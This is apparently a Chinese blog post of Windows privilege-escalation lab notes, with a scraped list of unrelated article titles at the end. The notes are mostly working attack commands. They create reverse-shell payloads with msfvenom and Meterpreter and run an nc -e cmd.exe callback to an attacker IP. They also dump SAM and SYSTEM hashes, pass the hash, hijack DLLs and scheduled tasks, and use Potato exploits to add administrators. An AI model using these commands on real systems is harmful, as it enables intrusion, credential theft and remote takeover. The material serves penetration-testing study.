    rdesktop MACHINE_IP
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    自动运行之二
    打开autorun软件(直接执行,能打开就打开,打不开就算求)
    C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe
    发现存在指向文件
    审查权限 (要求可写)
    C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program" 
    后门覆盖
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    自启动之三
    1. 审查(可写)
    icacls "C:\ProgramData\Microsoft\Windows\Start Menu \Programs\Startup"
    2. 覆盖
    copy C:\PrivEsc\reverse.exe "C:\ProgramData\Microsoft\Windows\Start Menu \Programs\Startup" /Y
    
    • 1
    • 2
    • 3
    • 4
    计划任务
    1. 显示计划任务
    Autoruns
    2. 查看权限(可写)
    icacls "C:\Missing Scheduled Binary"
    3. 覆盖
    echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    AlwaysInstallElevated

    AlwaysInstallElevated
    0x1

    1. 查询(看有没有0x1)
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    
    2. 生成msi
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
    传递
    用smb即可
    安装
    3. msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    密码

    注册表包含密码

    全搜出来放到sumblim搜索即可

    reg query HKLM /f password /t REG_SZ /s
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
    登陆
    winexe -U 'admin%password' //MACHINE_IP cmd.exe
    
    • 1
    • 2
    • 3
    • 4

    或者

    notepad C:\Windows\Panther\Unattend.xml
    然后解码即可
    
    • 1
    • 2
    已保存的凭据
    检查凭据
    cmdkey /list
    登陆
    winexe -U 'admin%password' //MACHINE_IP cmd.exe
    
    • 1
    • 2
    • 3
    • 4
    sam,system转储
    reg save HKLM\sam sam.bak
    reg save HKLM\system sys.bak
    
    download sys.bak
    download sam.bak
    secretsdump.py -sam sam.bak -system sys.bak LOCAL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    hash传递

    加粗样式只需要获得shell 完整的散列包括 LM 和 NTLM 散列,
    用冒号分隔

    pth-winexe -U 'admin%hash' //MACHINE_IP cmd.exe
    
    • 1
    内存挖掘
    msfconsole
    use auxiliary/server/capture/http_basic
    set uripath x
    run
    而后访问
    http://[Kali VM IP Address]/x
    打开这个
     taskmgr 
     在Windows任务管理器中,右键单击“Image Name”栏中的“iexplore.exe”,在弹出的菜单中选择“Create Dump File”。
     kali解码
    strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    不安全的图形化界面

    拥有图形化应用
    在system下运行
    举例是画图

    连入桌面
    rdesktop -u user -p password321 MACHINE_IP
    打开软件
    审查权限
    tasklist /V | findstr mspaint.exe
    在画图中,单击“文件”,然后单击“打开”。 在打开文件对话框中,点击导航输入并粘贴:file://c:/windows/system32/cmd.exe 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    (不知如何探测)令牌模拟

    判断能否模拟可以使用

    whoami /priv
    
    • 1
    Rogue Potato
    端口接驳
    sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999
    执行
    C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
    执行漏洞
    C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    PrintSpoofer
    触发本地服务
    C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
    执行漏洞
    C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
    
    • 1
    • 2
    • 3
    • 4
    热土豆

    要求存在该问题

    启动bypass绕过防火墙
     powershell.exe -nop -ep bypass 
     
     绕过net localgroup administrators user /add 运行 Tater 模块
      Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
      
    添加
     Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" 
    
    查看
    net localgroup administrators 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    烂土豆
    如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
    如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
    如果均开启,可以选择-t *
    如果均未开启,那么无法提权
    然后就是查看rpc端口号,如果不是135(例如111)
    加参数 -n 111
    
    烂土豆和nc事先传上去
    echo C:\users\Destitute\appdata\local\temp\nc.exe -e cmd.exe 10.10.xx.xx 1340 > rev.bat
    
    juicypotato.exe -p C:\users\Destitute\appdata\local\temp\rev.bat -l 1340 -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    启动项

    哪个用户登入就是哪个权限

    检查目录权限
     icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" 
    覆盖或单纯放入
    
    • 1
    • 2
    • 3

    dll挟持

    使用工具
    Procmon.exe
    添加筛选
    进程名称: dllhijackservice.exe 
    结果;NAME NOT FOUND 
    运行
     sc start dllsvc 
     控制面板找有没有temp目录下或者我们具有完全权限的目录
     借助工具获取到windows_dll.c 源码
     修改函数
     cmd.exe /k net localgroup administrators user /add 
     编译
     x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll 
     放入temp目录
     重启服务
     exec sc stop dllsvc & sc start dllsvc
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    内核利用

    与linux相似
    在此举例

    建立连接
    use multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost [Kali VM IP Address]
    run
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe > shell.exe
    
    内核版本漏洞利用
    run post/multi/recon/local_exploit_suggester
     use exploit/windows/local/ms16_014_wmi_recv_notif
     set SESSION [meterpreter SESSION number]
     set LPORT 5555
     run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
  • 相关阅读:
    elasticsearch 安装
    连词分为并列连词和从属连词
    .ttf 字体剔除
    最强Java面试八股文秋招offer召唤术
    前端培训丁鹿学堂:vue性能优化总结(二)
    Python学习笔记--构造(`__new__`)和初始化(`__init__`)
    Redis解决缓存穿透,缓存雪崩,缓存击穿思路
    全志R128芯片应用开发案例——驱动 WS2812 流水灯
    跨国企业如何选择安全靠谱的跨国传输文件软件?
    godot引擎学习1
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127538948